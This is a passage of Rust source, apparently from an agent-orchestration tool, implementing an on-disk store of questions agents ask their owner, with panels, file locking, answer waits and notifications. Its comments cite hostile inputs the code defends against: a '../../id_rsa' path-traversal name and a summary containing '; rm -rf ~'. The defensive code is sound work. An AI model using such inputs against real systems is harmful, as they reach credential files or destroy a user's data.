896    pub fn unread_from_owner(&self) -> Option<String> {
897        if !self.status.open() {
898            return None;
899        }
900        let said = self.undelivered_owner_turns();
901        (!said.is_empty()).then(|| said.join("\n\n"))
902    }
903
904    /// Owner turns the agent has not been handed yet, oldest first, whatever
905    /// the question's status. [`Question::unread_from_owner`] adds the "still
906    /// open" guard the waiter and the deputy rely on; an answer being handed
907    /// over needs the says that came before it even though the question is
908    /// closed by then.
909    pub fn undelivered_owner_turns(&self) -> Vec<&str> {
910        let from = self.delivered_turns.min(self.thread.len());
911        self.thread[from..]
912            .iter()
913            .filter(|t| t.who == Who::Operator)
914            .map(|t| t.body.as_str())
915            .collect()
916    }
917
918    /// When the conversation last moved: the newest thread turn, or the asking
919    /// itself, in seconds. `magi ask --thread` re-arms `answer_timeout` on
920    /// every reply, so a deadline runs from here and not from `asked_at`.
921    pub fn last_activity(&self) -> i64 {
922        self.thread
923            .iter()
924            .map(|t| t.at.as_second())
925            .max()
926            .unwrap_or(0)
927            .max(self.asked_at.as_second())
928    }
929
930    /// Is the ball in the agent's court?
931    ///
932    /// True from the moment the owner speaks back until the agent's next
933    /// [`Question::reply`], and never on a fresh or an already-settled
934    /// question. [`QuestionStatus`] does not move for either side of this -
935    /// see [`Question::say`] - so this is the one place that state is
936    /// readable at all, which is why [`crate::web::QuestionView`] carries it
937    /// separately rather than asking the phone to infer it from the thread.
938    pub fn waiting_on_agent(&self) -> bool {
939        self.status.open() && matches!(self.thread.last(), Some(t) if t.who == Who::Operator)
940    }
941
942    /// Should a notification go out right now?
943    ///
944    /// Always, for the very first ask: [`Question::thread`] is still empty, so
945    /// there is no earlier operator turn to have already caught anyone's
946    /// attention. After that, only once [`REPLY_QUIET_WINDOW`] has passed
947    /// since the owner's own last word - see that constant for why the window
948    /// exists at all and why its length is not configurable.
949    fn should_notify(&self, now: Timestamp) -> bool {
950        let Some(last) = self
951            .thread
952            .iter()
953            .rev()
954            .find(|t| t.who == Who::Operator)
955            .map(|t| t.at)
956        else {
957            return true;
958        };
959        now.as_second() - last.as_second() > REPLY_QUIET_WINDOW.as_secs() as i64
960    }
961}
962
963/// A question store on disk.
964#[derive(Debug, Clone)]
965pub struct Questions {
966    root: PathBuf,
967}
968
969impl Questions {
970    /// The operator's questions, `<home>/questions`.
971    pub fn open() -> Self {
972        Self::at(crate::run::home().join("questions"))
973    }
974
975    /// A store at an explicit root. Tests use this, which is why none of them
976    /// need the operator's real home.
977    pub fn at(root: PathBuf) -> Self {
978        Self { root }
979    }
980
981    /// Directory holding the question files.
982    pub fn root(&self) -> &Path {
983        &self.root
984    }
985
986    /// Path for one question id.
987    pub fn path_of(&self, id: &str) -> PathBuf {
988        self.root.join(format!("{id}.json"))
989    }
990
991    /// Directory holding one question's panel, `<root>/<id>.panel`.
992    pub fn panel_dir(&self, id: &str) -> PathBuf {
993        self.root.join(format!("{id}{PANEL_DIR}"))
994    }
995
996    /// Store a panel: the html, plus `assets` copied in under their base
997    /// names. Updates `q.panel` and `q.assets`; the caller then [`put`]s the
998    /// question, or the record on disk will deny having a panel that exists.
999    ///
1000    /// The assets are **copied, not referenced**. An agent authors its panel
1001    /// inside a candidate worktree and points at files there, and `magi fold`
1002    /// deletes those worktrees; a question is the permanent record of a
1003    /// decision the owner took, so a panel that referenced its own images
1004    /// would render as broken boxes exactly when someone went back to ask why
1005    /// the decision was made. Copying follows symlinks - [`std::fs::copy`]
1006    /// does, and so does the [`std::fs::metadata`] the size is measured with,
1007    /// so the bytes counted and the bytes written are the same target file's -
1008    /// which is the intent: storing a link would leave the panel pointing at
1009    /// the worktree again, one indirection further away.
1010    ///
1011    /// Everything that can be rejected is rejected before the first byte is
1012    /// written, and the panel is then assembled in a scratch directory and
1013    /// swapped in. So a refusal leaves the previous panel intact, and a
1014    /// success replaces it *wholesale* rather than merging: a re-asked
1015    /// question showing one attempt's diff next to another attempt's table
1016    /// would be a panel neither agent ever wrote.
1017    ///
1018    /// [`put`]: Questions::put
1019    pub fn put_panel(&self, q: &mut Question, html: &str, assets: &[PathBuf]) -> Result<()> {
1020        if !valid_asset_name(&q.id) {
1021            bail!(
1022                "question id `{}` is not a name magi will build a panel path from",
1023                q.id
1024            );
1025        }
1026        if html.trim().is_empty() {
1027            bail!(
1028                "question {} was handed an empty panel; an empty frame reads to \
1029                 the owner as \"the agent had nothing to say\", which is a lie",
1030                q.short()
1031            );
1032        }
1033
1034        // Names, then sizes, then writing - in that order, so nothing below
1035        // can leave a partial panel on disk.
1036        let mut named: Vec<(String, &Path)> = Vec::with_capacity(assets.len());
1037        for src in assets {
1038            let name = src.file_name().and_then(|n| n.to_str()).unwrap_or_default();
1039            if !valid_asset_name(name) {
1040                bail!(
1041                    "panel asset `{}` cannot be stored: a panel file name must \
1042                     match ^[A-Za-z0-9][A-Za-z0-9._-]{{0,63}}$ and contain no `..`",
1043                    src.display()
1044                );
1045            }
1046            if let Some((_, first)) = named.iter().find(|(n, _)| n == name) {
1047                bail!(
1048                    "two panel assets are both named `{name}` - {} and {} - and \
1049                     the panel can only show one of them; rename one at the source",
1050                    first.display(),
1051                    src.display()
1052                );
1053            }
1054            named.push((name.to_owned(), src.as_path()));
1055        }
1056
1057        let mut total = html.len() as u64;
1058        for (_, src) in &named {
1059            let meta = std::fs::metadata(src)
1060                .with_context(|| format!("stat panel asset {}", src.display()))?;
1061            if !meta.is_file() {
1062                bail!(
1063                    "panel asset `{}` is not a file; a panel is html plus files \
1064                     copied beside it",
1065                    src.display()
1066                );
1067            }
1068            total = total.saturating_add(meta.len());
1069        }
1070        if total > PANEL_MAX_BYTES {
1071            bail!(
1072                "panel for question {} is {total} bytes, over magi's cap of \
1073                 {PANEL_MAX_BYTES} bytes; nothing was written",
1074                q.short()
1075            );
1076        }
1077
1078        let tmp = self.root.join(format!("{}{PANEL_TMP}", q.id));
1079        let dir = self.panel_dir(&q.id);
1080        std::fs::create_dir_all(&self.root)
1081            .with_context(|| format!("create {}", self.root.display()))?;
1082        clear_dir(&tmp)?;
1083        std::fs::create_dir(&tmp).with_context(|| format!("create {}", tmp.display()))?;
1084        if let Err(e) = fill_panel(&tmp, html, &named) {
1085            // A copy that dies halfway must not become the panel, and must not
1086            // leave scratch behind for the next call to inherit.
1087            let _ = std::fs::remove_dir_all(&tmp);
1088            return Err(e);
1089        }
1090        clear_dir(&dir)?;
1091        std::fs::rename(&tmp, &dir)
1092            .with_context(|| format!("move panel into {}", dir.display()))?;
1093
1094        q.panel = true;
1095        q.assets = named.into_iter().map(|(n, _)| n).collect();
1096        q.assets.sort_unstable();
1097        Ok(())
1098    }
1099
1100    /// The panel's html, or `None` when the question has no panel.
1101    ///
1102    /// `None` rather than an error for a missing panel because the caller is a
1103    /// web handler whose answer is 404 either way, and an unreadable panel is
1104    /// not a reason to fail the question it belongs to.
1105    pub fn panel_html(&self, id: &str) -> Option<String> {
1106        if !valid_asset_name(id) {
1107            return None;
1108        }
1109        std::fs::read_to_string(self.panel_dir(id).join(PANEL_HTML)).ok()
1110    }
1111
1112    /// One file from a panel. `Ok(None)` is "no such file"; `Err` is "that is
1113    /// not a name a panel file can have".
1114    ///
1115    /// Rejects a name failing [`valid_asset_name`] **before touching the
1116    /// filesystem**, which is the whole point of the second check: the name
1117    /// arrives from a URL, the directory is on disk where any process could
1118    /// have dropped a file, and `<root>/<id>.panel/../../id_rsa` is a path the
1119    /// operating system would resolve perfectly happily. The two callers'
1120    /// distinct outcomes - 400 for a name, 404 for a file - are why this is
1121    /// `Result<Option<_>>` rather than one flattened `Option`.
1122    pub fn panel_asset(&self, id: &str, name: &str) -> Result<Option<Vec<u8>>> {
1123        if !valid_asset_name(name) {
1124            bail!(
1125                "`{name}` is not a panel file name; it must match \
1126                 ^[A-Za-z0-9][A-Za-z0-9._-]{{0,63}}$ and contain no `..`"
1127            );
1128        }
1129        if !valid_asset_name(id) {
1130            return Ok(None);
1131        }
1132        let dir = self.panel_dir(id);
1133        if !dir.is_dir() {
1134            return Ok(None);
1135        }
1136        let path = dir.join(name);
1137        match std::fs::read(&path) {
1138            Ok(bytes) => Ok(Some(bytes)),
1139            Err(e) if e.kind() == std::io::ErrorKind::NotFound => Ok(None),
1140            Err(e) => Err(e).with_context(|| format!("read {}", path.display())),
1141        }
1142    }
1143
1144    /// Delete a question's panel, and any scratch a killed [`put_panel`] left.
1145    ///
1146    /// Succeeds when there is nothing to delete, so a caller cleaning up does
1147    /// not have to know whether a panel was ever written. The question record
1148    /// is not touched: the caller clears `panel` and `assets` and `put`s it,
1149    /// in the same order as everywhere else here.
1150    ///
1151    /// [`put_panel`]: Questions::put_panel
1152    pub fn drop_panel(&self, id: &str) -> Result<()> {
1153        if !valid_asset_name(id) {
1154            bail!("question id `{id}` is not a name magi will build a panel path from");
1155        }
1156        clear_dir(&self.panel_dir(id))?;
1157        clear_dir(&self.root.join(format!("{id}{PANEL_TMP}")))
1158    }
1159
1160    /// Path of the lease sidecar for one question id.
1161    pub fn lease_path(&self, id: &str) -> PathBuf {
1162        self.root.join(format!("{id}.lease"))
1163    }
1164
1165    /// The lease on a question, if a readable one exists.
1166    pub fn read_lease(&self, id: &str) -> Option<Lease> {
1167        let body = std::fs::read_to_string(self.lease_path(id)).ok()?;
1168        serde_json::from_str(&body).ok()
1169    }
1170
1171    /// Say, as `kind`, that something is alive and waiting on this question.
1172    ///
1173    /// Best-effort: a beat that cannot be written is a `tracing::debug`, never
1174    /// a reason to abandon a wait - the worst it costs is the waiter deciding
1175    /// the holder is gone a little early, and that is what the delivery guard
1176    /// (the seat still being busy) is there for.
1177    pub fn beat(&self, id: &str, kind: WaiterKind) {
1178        let lease = Lease {
1179            kind,
1180            pid: std::process::id(),
1181            beat_at: Timestamp::now(),
1182        };
1183        let path = self.lease_path(id);
1184        let tmp = path.with_extension("lease.tmp");
1185        let written = std::fs::create_dir_all(&self.root)
1186            .and_then(|()| std::fs::write(&tmp, serde_json::to_string(&lease).unwrap_or_default()))
1187            .and_then(|()| std::fs::rename(&tmp, &path));
1188        if let Err(e) = written {
1189            tracing::debug!("could not beat the lease on question {id}: {e}");
1190        }
1191    }
1192
1193    /// Remove the lease sidecar. Absent is fine.
1194    pub fn drop_lease(&self, id: &str) {
1195        let _ = std::fs::remove_file(self.lease_path(id));
1196    }
1197
1198    /// Read-modify-write one question under a short exclusive lock, so the
1199    /// waiter's bookkeeping, the asker's and the phone's `say` cannot overwrite
1200    /// each other with a copy that predates the others.
1201    ///
1202    /// [`Questions::put`] is an atomic *replace*, which protects a reader from
1203    /// a torn file and does nothing for two writers that both read the same
1204    /// version first. Everything that changes a question that can still be
1205    /// answered goes through here: `f` sees the current record, not one loaded
1206    /// earlier. A lock older than [`LOCK_STALE`] belongs to a writer that died
1207    /// mid-update and is broken.
1208    pub fn update<T>(
1209        &self,
1210        id: &str,
1211        f: impl FnOnce(&mut Question) -> Result<T>,
1212    ) -> Result<(Question, T)> {
1213        std::fs::create_dir_all(&self.root)
1214            .with_context(|| format!("create {}", self.root.display()))?;
1215        let lock = self.root.join(format!("{id}.lock"));
1216        let started = std::time::Instant::now();
1217        loop {
1218            match std::fs::OpenOptions::new()
1219                .write(true)
1220                .create_new(true)
1221                .open(&lock)
1222            {
1223                Ok(_) => break,
1224                Err(e) if e.kind() == std::io::ErrorKind::AlreadyExists => {
1225                    let stale = std::fs::metadata(&lock)
1226                        .and_then(|m| m.modified())
1227                        .ok()
1228                        .and_then(|t| t.elapsed().ok())
1229                        .is_some_and(|age| age > LOCK_STALE);
1230                    if stale {
1231                        let _ = std::fs::remove_file(&lock);
1232                    } else if started.elapsed() > LOCK_STALE {
1233                        bail!("could not lock question {id}");
1234                    } else {
1235                        std::thread::sleep(Duration::from_millis(15));
1236                    }
1237                }
1238                Err(e) => return Err(e).with_context(|| format!("lock {}", lock.display())),
1239            }
1240        }
1241        struct Unlock(PathBuf);
1242        impl Drop for Unlock {
1243            fn drop(&mut self) {
1244                let _ = std::fs::remove_file(&self.0);
1245            }
1246        }
1247        let _guard = Unlock(lock);
1248        let mut q = read_path(&self.path_of(id))?;
1249        let out = f(&mut q)?;
1250        self.put(&mut q)?;
1251        Ok((q, out))
1252    }
1253
1254    /// Write a question, atomically, so a process killed mid-write leaves the
1255    /// previous state readable rather than a truncated file that would strand
1256    /// the run waiting on it.
1257    pub fn put(&self, q: &mut Question) -> Result<()> {
1258        std::fs::create_dir_all(&self.root)
1259            .with_context(|| format!("create {}", self.root.display()))?;
1260        let body = serde_json::to_string_pretty(q).context("serialize question")?;
1261        let path = self.path_of(&q.id);
1262        let tmp = path.with_extension("json.tmp");
1263        let is_new = !path.exists();
1264        std::fs::write(&tmp, &body).with_context(|| format!("write {}", tmp.display()))?;
1265        std::fs::rename(&tmp, &path).with_context(|| format!("replace {}", path.display()))?;
1266        // A first write of an open question pages the operator, so a separate
1267        // notification about the same task or run is now a second page.
1268        if is_new
1269            && q.status.open()
1270            && q.node != crate::bump::NOTICE_NODE
1271            && let Some(home) = self.root.parent().filter(|p| !p.as_os_str().is_empty())
1272        {
1273            crate::notices::quiet_for(home, q);
1274        }
1275        Ok(())
1276    }
1277
1278    /// Load a question by id or unambiguous id prefix.
1279    pub fn get(&self, id: &str) -> Result<Question> {
1280        let resolved = self.resolve_id(id)?;
1281        read_path(&self.path_of(&resolved))
1282    }
1283
1284    /// Every question on disk: open first, then newest first.
1285    ///
1286    /// Open first because that ordering is the product - the list exists to
1287    /// show the operator what has stopped, and an answered question is history
1288    /// underneath it. Unreadable files are skipped rather than fatal: one
1289    /// corrupt question must not take the web UI down, and must certainly not
1290    /// hide the open question the operator was looking for.
1291    pub fn list(&self) -> Vec<Question> {
1292        let mut all: Vec<Question> = std::fs::read_dir(&self.root)
1293            .into_iter()
1294            .flatten()
1295            .flatten()
1296            .map(|e| e.path())
1297            .filter(|p| p.extension().is_some_and(|x| x == "json"))
1298            .filter_map(|p| read_path(&p).ok())
1299            .collect();
1300        all.sort_unstable_by(|a, b| {
1301            let rank = |q: &Question| u8::from(!q.status.open());
1302            rank(a).cmp(&rank(b)).then_with(|| b.id.cmp(&a.id))
1303        });
1304        all
1305    }
1306
1307    /// Open questions belonging to one run, newest first.
1308    ///
1309    /// Used to decide whether a parked run can be resumed: while this is
1310    /// non-empty, nothing about the run has changed and no agent should be
1311    /// spawned for it.
1312    pub fn open_for(&self, run: &str) -> Vec<Question> {
1313        self.list()
1314            .into_iter()
1315            .filter(|q| q.status.open() && q.run == run)
1316            .collect()
1317    }
1318
1319    /// Abandon every open question belonging to a run, and report how many.
1320    ///
1321    /// Called when a run's record is deleted. The agent that asked died with
1322    /// the run, so there is nobody left to hand an answer to, and a question
1323    /// left open would keep asking the operator for a decision that can no
1324    /// longer be delivered - the phone showed exactly that: "auth.rs というファ
1325    /// イルが見つかりません" with two buttons, for a run whose directory had
1326    /// been gone for two hours.
1327    ///
1328    /// Abandoned rather than deleted, because [`Question::abandon`] already
1329    /// means "this can no longer be answered" and the record of having asked
1330    /// is worth keeping. Answered questions are left exactly as they are.
1331    pub fn abandon_for_run(&self, run: &str, why: &str) -> Result<usize> {
1332        let mut abandoned = 0;
1333        for mut q in self.open_for(run) {
1334            q.abandon(why);
1335            self.put(&mut q)?;
1336            abandoned += 1;
1337        }
1338        Ok(abandoned)
1339    }
1340
1341    /// Abandon a run's open questions once `status` says the run is not
1342    /// coming back, worded with what it actually became.
1343    ///
1344    /// The run-deleted case above and this one are the same fact - nobody is
1345    /// left to read an answer - reached by two different doors. This is the
1346    /// one for a run that finished on its own: merged, reached `Ready` with
1347    /// nothing left to do, failed outright with no established point to
1348    /// resume from, or every candidate agreed, with evidence, that nothing
1349    /// belonged in the worktree. Those are exactly the statuses
1350    /// [`RunStatus::resumable`]
1351    /// excludes, and that is the line this draws too - deliberately not
1352    /// [`RunStatus::done`], which also counts `Blocked` and `Stalled` as
1353    /// over. Both of those can still be picked back up with the candidates,
1354    /// the review round and the seat sessions already on disk, so a question
1355    /// asked mid-round may yet get a real answer from a real resume, and
1356    /// folding it here would be exactly the mistake this function exists to
1357    /// avoid on the other side - answering back into a run that no longer
1358    /// exists to read it.
1359    ///
1360    /// A no-op, not an error, when `status` is still resumable or when there
1361    /// was nothing open to begin with - callers reach this from more than one
1362    /// place a run can settle, and a second call finding nothing left to
1363    /// abandon is the expected case, not a bug.
1364    pub fn settle_run(&self, run: &str, status: RunStatus) -> Result<usize> {
1365        if status.resumable() {
1366            return Ok(0);
1367        }
1368        let why = format!(
1369            "run {run} {}, so nothing is waiting for this answer",
1370            status.as_str()
1371        );
1372        // A post-merge notice is the exception: it is filed *because* the run
1373        // merged, and no agent waits on it - it is a to-do for the owner, not
1374        // a question a dead seat asked. Abandoning it here would erase the
1375        // only alert the moment the run settles.
1376        let mut abandoned = 0;
1377        for mut q in self.open_for(run) {
1378            if q.node == crate::bump::NOTICE_NODE {
1379                continue;
1380            }
1381            q.abandon(&why);
1382            self.put(&mut q)?;
1383            abandoned += 1;
1384        }
1385        Ok(abandoned)
1386    }
1387
1388    /// Expand an id prefix to exactly one question id. The short id the phone
1389    /// and the reports show is a suffix, so that is accepted too.
1390    pub fn resolve_id(&self, prefix: &str) -> Result<String> {
1391        if self.path_of(prefix).is_file() {
1392            return Ok(prefix.to_owned());
1393        }
1394        let hits: Vec<String> = self
1395            .list()
1396            .into_iter()
1397            .map(|q| q.id)
1398            .filter(|id| id.starts_with(prefix) || id.ends_with(prefix))
1399            .collect();
1400        match hits.len() {
1401            1 => Ok(hits.into_iter().next().expect("exactly one hit")),
1402            0 => bail!("no question matches `{prefix}`"),
1403            _ => bail!(
1404                "`{prefix}` matches {} questions: {}",
1405                hits.len(),
1406                hits.join(", ")
1407            ),
1408        }
1409    }
1410
1411    /// Newest modification time in the store, in milliseconds, for change
1412    /// detection. The web UI compares this instead of re-reading every
1413    /// question, so an idle phone on a slow link costs one `stat` per file.
1414    pub fn revision(&self) -> u64 {
1415        std::fs::read_dir(&self.root)
1416            .into_iter()
1417            .flatten()
1418            .flatten()
1419            .filter_map(|e| e.metadata().ok())
1420            .filter_map(|m| m.modified().ok())
1421            .filter_map(|t| t.duration_since(std::time::UNIX_EPOCH).ok())
1422            .map(|d| d.as_millis() as u64)
1423            .max()
1424            .unwrap_or(0)
1425    }
1426
1427    /// How many questions are open, whichever side of the conversation is
1428    /// holding the ball right now. Ten turns of back and forth between the
1429    /// owner and the agent are still one open question - see
1430    /// [`Question::say`] - so this does not drop while a reply is in
1431    /// flight. [`Self::count_needs_owner`] is the number that does.
1432    pub fn count_open(&self) -> usize {
1433        self.list().iter().filter(|q| q.status.open()).count()
1434    }
1435
1436    /// How many open questions actually need the owner right now: open, and
1437    /// not [`Question::waiting_on_agent`].
1438    ///
1439    /// This is the number a notification channel owes - the ask bar, the nav
1440    /// badge, the document title - because those exist to say "something
1441    /// needs you", and a question sitting in `magi ask --thread` limbo does
1442    /// not. `count_open` stays as it is for [`Self::open_for`]'s callers,
1443    /// where a round trip must not look like the run resumed.
1444    pub fn count_needs_owner(&self) -> usize {
1445        self.list()
1446            .iter()
1447            .filter(|q| q.status.open() && !q.waiting_on_agent())
1448            .count()
1449    }
1450}
1451
1452/// How a wait over [`Question`] ended.
1453#[derive(Debug, Clone, PartialEq, Eq)]
1454pub enum Wait {
1455    /// The owner decided. Carries [`Question::resolution`].
1456    Answered(String),
1457    /// The owner spoke back without deciding - see [`Question::say`]. The
1458    /// question is still [`QuestionStatus::Open`] and carries no [`Answer`];
1459    /// the caller's move is to hand this text to the agent and let it call
1460    /// `magi ask --thread` to keep talking, not to treat it as a decision.
1461    Replied(String),
1462    /// This call's [`WAIT_SLICE`] ran out with the question still
1463    /// [`QuestionStatus::Open`] and nothing having happened - not the owner
1464    /// going quiet, the clock on *this process* running out. The question is
1465    /// untouched; the caller's move is `magi ask --wait <id>` in a fresh
1466    /// process, so the wait resumes before the shell tool that would have
1467    /// killed this one gets the chance.
1468    Pending,
1469    /// Nobody said anything before the deadline, or the question was closed
1470    /// out from under the wait with no decision recorded - a run deleted out
1471    /// from under it, most often. Either way [`QuestionStatus::Abandoned`] is
1472    /// now on disk.
1473    Abandoned,
1474}
1475
1476/// File a question and wait for the owner, polling the store.
1477///
1478/// The question is updated in place from disk whenever the wait ends, so the
1479/// caller can act on it without re-reading it. `timeout` is the question's
1480/// whole `answer_timeout` budget, but this call spends at most [`WAIT_SLICE`]
1481/// of it - see [`Wait::Pending`] for what happens to the rest.
1482pub async fn ask_and_wait(
1483    q: &mut Question,
1484    store: &Questions,
1485    notify: &config::Notify,
1486    timeout: Duration,
1487) -> Result<Wait> {
1488    wait_for_owner(q, store, notify, timeout, POLL).await
1489}
1490
1491/// Resume a wait already filed, without adding a turn or notifying again.
1492///
1493/// This is `magi ask --wait <id>`'s engine: the process that owned the
1494/// previous slice is dead (the tool that ran it killed it, or it simply
1495/// exited after reporting [`Wait::Pending`]), but the question on disk never
1496/// stopped being open, and the owner was already notified about it once. A
1497/// second notification for the same unanswered question would page the
1498/// owner every [`WAIT_SLICE`] for a question they have already seen - so,
1499/// unlike [`ask_and_wait`], this skips straight to polling.
1500///
1501/// `timeout` is **not** re-armed to a fresh `answer_timeout` here - the
1502/// caller computes it as what remains until [`Question::asked_at`] plus the
1503/// configured `answer_timeout`, so stacking `--wait` calls can only ever use
1504/// up the deadline the first ask set, never push it out further.
1505pub async fn resume_wait(q: &mut Question, store: &Questions, timeout: Duration) -> Result<Wait> {
1506    wait_loop(q, store, timeout, WAIT_SLICE, POLL).await
1507}
1508
1509/// [`ask_and_wait`] with the poll interval injected.
1510///
1511/// Separate only so the tests can drive a whole wait in milliseconds instead of
1512/// sleeping through [`POLL`]; production has exactly one interval, and it is not
1513/// a knob the operator gets to tune.
1514async fn wait_for_owner(
1515    q: &mut Question,
1516    store: &Questions,
1517    cfg: &config::Notify,
1518    timeout: Duration,
1519    poll: Duration,
1520) -> Result<Wait> {
1521    // A question that is already on disk (a `--thread` reply just wrote it under
1522    // the lock) is left alone: this copy may predate an answer or say that
1523    // landed since, and writing it back would erase that.
1524    if !store.path_of(&q.id).is_file() {
1525        store.put(q).context("file the question")?;
1526    }
1527    if q.should_notify(Timestamp::now()) {
1528        if let Err(e) = notify(cfg, q).await {
1529            // A broken webhook is not a reason to throw away an implementation.
1530            // The question is already on disk and the web UI already shows it,
1531            // so the operator still has a way in; only the tap on the shoulder
1532            // is lost.
1533            tracing::warn!(
1534                "could not notify about question {}: {e:#} - the web UI is the \
1535                 only surface for it now",
1536                q.short()
1537            );
1538        }
1539    }
1540    tracing::info!(
1541        "question {} from {} is waiting for you: {}",
1542        q.short(),
1543        q.seat,
1544        q.summary
1545    );
1546    wait_loop(q, store, timeout, WAIT_SLICE, poll).await
1547}
1548
1549/// Take the wait as this process: beat the lease and note it on the record.
1550fn hold(store: &Questions, id: &str) {
1551    store.beat(id, WaiterKind::Asker);
1552    let took = store.update(id, |q| {
1553        if q.status.open() {
1554            q.waiter = Some(Waiter {
1555                kind: WaiterKind::Asker,
1556                since: Timestamp::now(),
1557            });
1558        }
1559        Ok(())
1560    });
1561    if let Err(e) = took {
1562        tracing::debug!("could not note the wait on question {id}: {e:#}");
1563    }
1564}
1565
1566/// Record that the agent has read everything so far, so the daemon waiter does
1567/// not resume a session to tell it what was already printed.
1568///
1569/// Callers must invoke this only **after** the word reached the agent's stdout:
1570/// marking first would let a tool timeout kill the process between the mark
1571/// and the print, and the waiter would then consider a word delivered that no
1572/// agent ever saw.
1573pub fn hand_over(store: &Questions, q: &mut Question) {
1574    let done = store.update(&q.id, |r| {
1575        r.delivered_turns = r.delivered_turns.max(q.thread.len());
1576        if r.status == QuestionStatus::Answered {
1577            r.answer_delivered = true;
1578        }
1579        r.waiter = None;
1580        Ok(())
1581    });
1582    match done {
1583        Ok((fresh, ())) => *q = fresh,
1584        Err(e) => tracing::debug!("could not record the hand-over of {}: {e:#}", q.short()),
1585    }
1586}
1587
1588/// What the agent is shown for an answer: the owner's says it has not read
1589/// yet, in order, then the answer. With no such say it is `answer` itself,
1590/// byte for byte.
1591pub fn answer_for_agent(q: &Question, answer: &str) -> String {
1592    let says = q.undelivered_owner_turns();
1593    if says.is_empty() {
1594        return answer.to_owned();
1595    }
1596    format!(
1597        "the owner also said, before answering:\n\n{}\n\nthe owner answered:\n\n{answer}",
1598        says.join("\n\n")
1599    )
1600}
1601
1602/// Print an answer (with any unread says before it) to `out`, flush, and only
1603/// then record the hand-over. A failed write marks nothing delivered.
1604pub fn deliver_answer(
1605    store: &Questions,
1606    q: &mut Question,
1607    answer: &str,
1608    out: &mut impl std::io::Write,
1609) -> std::io::Result<()> {
1610    writeln!(out, "{}", answer_for_agent(q, answer))?;
1611    out.flush()?;
1612    hand_over(store, q);
1613    Ok(())
1614}
1615
1616/// The polling loop shared by a fresh wait and a resumed one.
1617///
1618/// `timeout` is the budget left before the question's `answer_timeout`
1619/// truly runs out; `slice` bounds how much of that this one call spends
1620/// before handing control back. Landing on `slice` while `timeout` still has
1621/// budget left is [`Wait::Pending`] - the caller's move, not the owner's
1622/// silence. Landing on `timeout` itself - because it was no bigger than
1623/// `slice` to begin with - is the real thing, and abandons the question
1624/// exactly as a single unsliced wait always did.
1625async fn wait_loop(
1626    q: &mut Question,
1627    store: &Questions,
1628    timeout: Duration,
1629    slice: Duration,
1630    poll: Duration,
1631) -> Result<Wait> {
1632    // The owner may already have spoken back before this call ever started -
1633    // most often because they did so in the gap between an earlier call
1634    // reporting `Wait::Pending` and this one picking the wait back up with
1635    // `--wait`. That word must surface at once rather than sit unnoticed
1636    // until some *later* turn happens to change something: this call never
1637    // saw it get added, so nothing below would otherwise recognise it as
1638    // new. `last_word_awaiting_reply` reads the question's own record of
1639    // whose turn it is - see [`Question::waiting_on_agent`] - rather than a
1640    // turn count this call would have to have been there to capture.
1641    if let Some(said) = q.unread_from_owner() {
1642        return Ok(Wait::Replied(said));
1643    }
1644    hold(store, &q.id);
1645
1646    let bounded = timeout.min(slice);
1647    let is_the_real_deadline = bounded >= timeout;
1648    let deadline = tokio::time::Instant::now() + bounded;
1649    loop {
1650        let now = tokio::time::Instant::now();
1651        if now >= deadline {
1652            if !is_the_real_deadline {
1653                // The lease is left to age out on purpose: the caller is about
1654                // to run `magi ask --wait`, and that gap is what LEASE_TTL
1655                // covers.
1656                return Ok(Wait::Pending);
1657            }
1658            let why = format!("no answer within {}s of asking", timeout.as_secs().max(1));
1659            // Re-checked on the record as it is now: the owner may have said
1660            // something in time since the last poll, and that word is handed
1661            // over, not abandoned.
1662            let (fresh, unread) = store
1663                .update(&q.id, |r| {
1664                    let unread = r.unread_from_owner();
1665                    if unread.is_none() {
1666                        r.abandon(&why);
1667                        r.waiter = None;
1668                    }
1669                    Ok(unread)
1670                })
1671                .context("record the abandoned question")?;
1672            *q = fresh;
1673            if let Some(said) = unread {
1674                return Ok(Wait::Replied(said));
1675            }
1676            tracing::warn!(
1677                "question {} went unanswered for {}s; the run parks and the \
1678                 question stays as the record of it",
1679                q.short(),
1680                timeout.as_secs()
1681            );
1682            return Ok(Wait::Abandoned);
1683        }
1684        tokio::time::sleep(poll.min(deadline - now)).await;
1685        store.beat(&q.id, WaiterKind::Asker);
1686        match store.get(&q.id) {
1687            Ok(fresh) if !fresh.status.open() => {
1688                // Whoever answered - the phone, `magi answer`, another daemon -
1689                // owns the record now, so adopt theirs wholesale rather than
1690                // merging into a copy that predates it.
1691                *q = fresh;
1692                return Ok(match q.resolution() {
1693                    Some(a) => Wait::Answered(a),
1694                    // Closed with no decision - abandoned elsewhere, most
1695                    // often by the run behind it being deleted mid-wait.
1696                    None => Wait::Abandoned,
1697                });
1698            }
1699            Ok(fresh) => {
1700                if let Some(said) = fresh.unread_from_owner() {
1701                    *q = fresh;
1702                    return Ok(Wait::Replied(said));
1703                }
1704                // Still open and not waiting on the agent - nothing this
1705                // wait cares about happened, so keep polling.
1706            }
1707            Err(e) => {
1708                // Mid-rename, or a file the operator is editing by hand.
1709                // Neither is a reason to abandon a question a human may still
1710                // answer, so keep polling until the deadline decides.
1711                tracing::debug!("could not re-read question {}: {e:#}", q.short());
1712            }
1713        }
1714    }
1715}
1716
1717/// Run the operator's notification command, if one is configured.
1718///
1719/// The command is argv, never a shell string, and the substitutions below are a
1720/// single pass over each argument: a summary containing `; rm -rf ~` is one
1721/// argument to one program, and a summary containing the characters `{run}` is
1722/// not re-expanded. That property is the reason agent-authored text can be put
1723/// in a notification at all.
1724///
1725/// An error here is reported, not swallowed, so `magi notify --test` can show
1726/// the operator why nothing arrives. The waiting path logs it and carries on.
1727pub async fn notify(cmd: &config::Notify, q: &Question) -> Result<()> {
1728    notify_text(cmd, &q.run, &q.summary).await
1729}
1730
1731/// [`notify`] for an event that is not a question: the same command, the same
1732/// placeholders, with `summary` and `run` supplied directly.
1733pub async fn notify_text(cmd: &config::Notify, run: &str, summary: &str) -> Result<()> {
1734    let Some((program, args)) = cmd.command.split_first() else {
1735        // No command configured: the web UI is the only surface, by choice.
1736        return Ok(());
1737    };
1738    let url = web_url();
1739    if url.is_empty() && cmd.command.iter().any(|a| a.contains("{url}")) {
1740        tracing::warn!(
1741            "the notification command uses {{url}} but {WEB_URL_ENV} is unset, \
1742             so the link will be empty - export it next to `magi serve` with \
1743             the address `magi web --open` printed"
1744        );
1745    }
1746    let argv: Vec<String> = args.iter().map(|a| expand(a, run, summary, &url)).collect();
1747    tracing::debug!(program = %program, args = ?argv, "notifying");
1748
1749    let mut child = tokio::process::Command::new(program);
1750    child.quiet();
1751    child
1752        .args(&argv)
1753        .stdin(std::process::Stdio::null())
1754        // Killed if the timeout below drops this future: a notification
1755        // command left running would outlive the run it was announcing.
1756        .kill_on_drop(true);
